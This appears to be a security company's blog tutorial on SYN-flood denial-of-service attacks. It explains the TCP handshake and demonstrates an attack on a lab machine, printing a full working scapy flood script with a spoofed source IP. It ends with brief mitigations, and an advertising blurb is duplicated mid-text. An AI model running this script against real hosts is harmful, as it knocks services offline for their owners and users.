Syn-Flood Attack是基於TCP/IP端口協議的流量拒絕服務攻擊,攻擊者會發送大量的TCP包,
來造成主機TCP連接數達到主機的最大限制,從而不能為新的用戶訪問網站的請求建立新
的TCP連接,打個比方:就好比一條公路,可以同時容納100輛車在公路行駛,突然上來1000
輛車,那麼公路就會堵塞。同樣的道理,那麼網站就無法打開,導致客戶流失,以此達到攻
擊目的。這種攻擊方式危害巨大,不僅會讓用戶體驗不佳,更直接的影響是對企業造成嚴重
的經濟損失!如何防止流量攻擊,怎麼解決主機被大流量攻擊呢?針對這些問題,我們有
必要瞭解這種流量攻擊的原理以及如何防禦、解決流量攻擊!
TCP/IP協議的三次握手詳情圖
1.第一次握手:Client將標誌位(也就是flags位)SYN置為1,隨機產生一個值seq=J,並將該
數據包發送給Server主機,Client進入SYN_SENT狀態,等待Server確認。
2.第二次握手:Server主機收到數據包後由標誌位SYN=1知道Client請求建立連接,Server
主機將標誌位SYN和ACK都置為1,ack=J+1,隨機產生一個值seq=K,並將該數據包發送給
Client以確認連接請求,Server主機進入SYN_RCVD狀態。eSafe白帽資安網公司是一家專注於:
主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務
提供商。
主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務
提供商。
3.第三次握手:Client收到確認後,檢查ack是否為J+1,ACK是否為1,如果正確則將標誌位
ACK置為1,ack=K+1,並將該數據包發送給Server主機,Server主機檢查ack是否為K+1,
ACK是否為1,如果正確則連接建立成功,Client和Server主機進入ESTABLISHED狀態,完成
三次握手,隨後Client與Server主機之間可以開始傳輸數據了。
Syn-Flood流量攻擊原理
上圖1:簡要介紹了Syn-Flood流量攻擊的大體過程:
1.攻擊者先向目標主機發送SYN包,請求建立TCP連接
2.目標主機接收到SYN包之後,便會進入SYN_RCVD狀態,然後又給流量攻擊者回一個SYN-
ACK包
3.如果攻擊者發送SYN包時用的是偽造IP地址,那麼主機發送的SYN-ACK就很可能不可達,
得不到ACK來建立完整的三次握手連接,這時目標機就會保持SYN_RCVD狀態直到timeout。想
像一下,如果我們一直發送SYN包請求連接,但是又不和目標機器建立完整的TCP連接,一會
大家看看我們的流量攻擊腳本就知道這是一件多麼可怕的事情了。
4.如果攻擊者用的是本主機真實的IP地址的話,那麼攻擊者接受到ACK之後正常情況下會回復
一個RST包(為什麼不是ACK呢,因為攻擊時我們是用pyhton的scapy庫來發包的,本地網卡並
不認為自己發送了SYN包,莫名奇妙接收到一個SYN-ACK包當然會回復RST包啦)eSafe白帽資安網公司
是一家專注於:主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一
體的網絡安全服務提供商。
是一家專注於:主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一
體的網絡安全服務提供商。
Syn-Flood攻擊實戰演示
有了前面的理論基礎,大家就能開心的做自己的測試了,就算遇到問題也能輕鬆的解決啦!
所以理論還是很有用的,不要一味的只知道操作步驟而不知道原理。還有就是腳本什麼的大
家可以根據自己的理解來編寫,不一定要用我的蹩腳的代碼。
環境準備:
1.Syn-Flood腳本 下載地址:https://github.com/myh0st/scripts/tree/master/synflood
2.Wireshark抓包工具
3.metaploitable2.0-linux IP=192.168.43.109
Syn-Flood腳本如下:
from scapy.all import *
import threading
import random
def Syn_flood(target_ip, target_port):
while True:
port = random.randint(0,10000)
send(IP(src="1.1.1.1", dst=target_ip)/TCP(dport=target_port,
sport=port),verbose=0)
#send(IP(dst=target_ip)/TCP(dport=target_port,
sport=port),verbose=0)
def main(target_ip, target_port, threads):
print "BEGIN TO ATTACK TARGET"
for i in range(0, threads):
#print "test"
t = threading.Thread(target=Syn_flood, args=(target_ip,
target_port))
t.start()
if __name__== "__main__":
target_ip = raw_input("Please input the target_ip: ")
target_port = int(raw_input("Please input the target_port: "))
threads = int(raw_input("Please input the threads: "))
main(target_ip, target_port, threads)
攻擊流程:
1.啟動metasploit2.0,訪問它的web服務,現在我們可以很流暢的訪問到。
2.啟動python腳本,填寫必要的參數,當然也可以攻擊22,3389之類的基於TCP連接的端口。
3.現在查看效果,可以看到web應用已經不能正常訪問了,而且靶機的80端口由於受到Syn-
Flood攻擊全部處於SYN_RECV狀態。
如何解決主機被流量攻擊?
看到這裡相信大家已經對Syn-Flood這種流量攻擊方式有一定的瞭解了,下面來談談如何應對
1.如果某個端口和同一個IP建立了多個不完整連接,直接禁IP
2.減少SYN-RECEIVED的過期時間
3.設置SYN Cookie
4.設置防火牆的進站和入站規則
5.記錄日誌方便溯源追蹤真兇